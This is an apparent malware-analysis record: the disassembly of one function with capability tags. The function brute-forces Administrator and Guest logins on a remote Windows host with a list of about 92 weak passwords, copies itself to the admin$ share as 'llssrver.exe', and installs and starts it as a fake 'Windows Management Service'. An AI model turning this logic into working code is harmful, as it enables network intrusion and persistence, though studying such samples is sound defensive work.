Function at 0x401769
Capabilities:
Copy file
Create service
Persist via windows service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4102e8
push 0x4093c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5f8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov al, byte [0x42e148]
mov byte [ebp - 0x218], al
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebx, ebx
mov byte [ebp - 0x258], bl
push 0xc
pop ecx
xor eax, eax
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push dword [ebp + 8]
call sub.WSOCK32.dll_htonl
push eax
call sub.WSOCK32.dll_inet_ntoa
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00408860
pop ecx
pop ecx
mov dword [ebp - 0x3cc], 0x42e148
mov dword [ebp - 0x3c8], 0x4125ec
mov dword [ebp - 0x3c4], 0x4125e8
mov dword [ebp - 0x3c0], str.123456
mov dword [ebp - 0x3bc], str.654321
mov dword [ebp - 0x3b8], str.guest
mov dword [ebp - 0x3b4], str.administrator
mov dword [ebp - 0x3b0], str.admin
mov dword [ebp - 0x3ac], str.111111
mov dword [ebp - 0x3a8], str.666666
mov dword [ebp - 0x3a4], str.888888
mov dword [ebp - 0x3a0], 0x41259c
mov dword [ebp - 0x39c], str.abcdef
mov dword [ebp - 0x398], str.abcdefg
mov eax, str.12345678
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x390], str.abc123
mov dword [ebp - 0x38c], str.root
mov dword [ebp - 0x388], 0x41256c
mov dword [ebp - 0x384], 0x412568
mov dword [ebp - 0x380], str.1234
mov dword [ebp - 0x37c], 0x412558
mov dword [ebp - 0x378], str.asdf
mov dword [ebp - 0x374], str.asdfgh
mov dword [ebp - 0x370], 0x412540
mov dword [ebp - 0x36c], 0x412538
mov dword [ebp - 0x368], 0x412530
mov dword [ebp - 0x364], 0x412524
mov dword [ebp - 0x360], 0x412520
mov dword [ebp - 0x35c], str.server
mov dword [ebp - 0x358], str.passwd
mov dword [ebp - 0x354], str.password
mov dword [ebp - 0x350], str.12345
mov dword [ebp - 0x34c], str.54321
mov dword [ebp - 0x348], str.pass
mov dword [ebp - 0x344], 0x4124e8
mov dword [ebp - 0x340], str.000000
mov dword [ebp - 0x33c], str.00000000
mov dword [ebp - 0x338], 0x4124d0
mov dword [ebp - 0x334], 0x4124cc
mov dword [ebp - 0x330], str.11111111
mov dword [ebp - 0x32c], 0x4124bc
mov dword [ebp - 0x328], str.121212
mov dword [ebp - 0x324], str.123123
mov dword [ebp - 0x320], str.1234567
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x318], str.123456789
mov dword [ebp - 0x314], str.123abc
mov dword [ebp - 0x310], str.123asd
mov dword [ebp - 0x30c], str.2002
mov dword [ebp - 0x308], str.2003
mov dword [ebp - 0x304], str.2600
mov dword [ebp - 0x300], str.88888888
mov dword [ebp - 0x2fc], 0x412460
mov dword [ebp - 0x2f8], 0x41245c
mov dword [ebp - 0x2f4], str.abcd
mov dword [ebp - 0x2f0], str.Admin
mov dword [ebp - 0x2ec], str.admin123
mov dword [ebp - 0x2e8], str.alpha
mov dword [ebp - 0x2e4], str.computer
mov dword [ebp - 0x2e0], str.database
mov dword [ebp - 0x2dc], str.enable
mov dword [ebp - 0x2d8], 0x412414
mov dword [ebp - 0x2d4], str.godblessyou
mov dword [ebp - 0x2d0], str.home
mov dword [ebp - 0x2cc], str.Internet
mov dword [ebp - 0x2c8], str.Login
mov dword [ebp - 0x2c4], str.login
mov dword [ebp - 0x2c0], str.love
mov dword [ebp - 0x2bc], str.mypass
mov dword [ebp - 0x2b8], str.mypass123
mov dword [ebp - 0x2b4], str.mypc
mov dword [ebp - 0x2b0], str.mypc123
mov dword [ebp - 0x2ac], str.oracle
mov dword [ebp - 0x2a8], str.owner
mov dword [ebp - 0x2a4], str.Password
mov dword [ebp - 0x2a0], 0x412398
mov dword [ebp - 0x29c], 0x412394
mov dword [ebp - 0x298], str.pw123
mov dword [ebp - 0x294], 0x412388
mov dword [ebp - 0x290], str.secret
mov dword [ebp - 0x28c], 0x41237c
mov dword [ebp - 0x288], str.super
mov dword [ebp - 0x284], str.sybase
mov dword [ebp - 0x280], str.temp
mov dword [ebp - 0x27c], str.temp123
mov dword [ebp - 0x278], 0x412354
mov dword [ebp - 0x274], str.test123
mov dword [ebp - 0x270], 0x412348
mov dword [ebp - 0x26c], 0x412344
mov dword [ebp - 0x268], 0x412340
mov dword [ebp - 0x264], str.yxcv
mov dword [ebp - 0x260], str.zxcv
mov dword [ebp - 0x220], str.Administrator
mov dword [ebp - 0x21c], str.Guest
xor esi, esi
cmp esi, 2
jge 0x401d11
xor edi, edi
cmp edi, 0x5c
jge 0x401d62
push dword [ebp + edi*4 - 0x3cc]
push dword [ebp + esi*4 - 0x220]
lea eax, [ebp - 0x218]
push eax
call fcn.00401d68
add esp, 0xc
test al, al
je 0x401d5c
push 0x80
push ebx
mov esi, 0x42e294
push esi
call fcn.00408800
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x200
lea ecx, [ebp - 0x5e4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x412314
push esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call edi
lea eax, [ebp - 0x218]
push eax
push esi
call edi
push str._admin__system32_
push esi
call edi
push str.llssrver.exe
push esi
call edi
push ebx
push esi
lea eax, [ebp - 0x5e4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x3e0], bl
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x5e8], eax
cmp eax, ebx
je 0x401d04
push ebx
push ebx
push ebx
push ebx
push ebx
push str.llssrver.exe__exe_start
push ebx
push 2
push 0x10
mov edi, 0xf01ff
push edi
mov esi, str.Windows__Management__Service
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x608], eax
cmp eax, ebx
jne 0x401ca7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x401d04
push edi
push esi
push dword [ebp - 0x5e8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x608], eax
cmp eax, ebx
je 0x401d04
push ebx
push ebx
push dword [ebp - 0x608]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x401ce7
push 0x14
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
lea eax, [ebp - 0x604]
push eax
push dword [ebp - 0x608]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x401cf4
cmp dword [ebp - 0x600], 2
jne 0x401cf4
push 0x14
jmp 0x401cc1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x401d04
mov byte [ebp - 0x3e0], 1
or dword [ebp - 4], 0xffffffff
call fcn.00401d24
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040930a
pop ecx
pop ecx
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
inc edi
jmp 0x401b98
inc esi
jmp 0x401b8d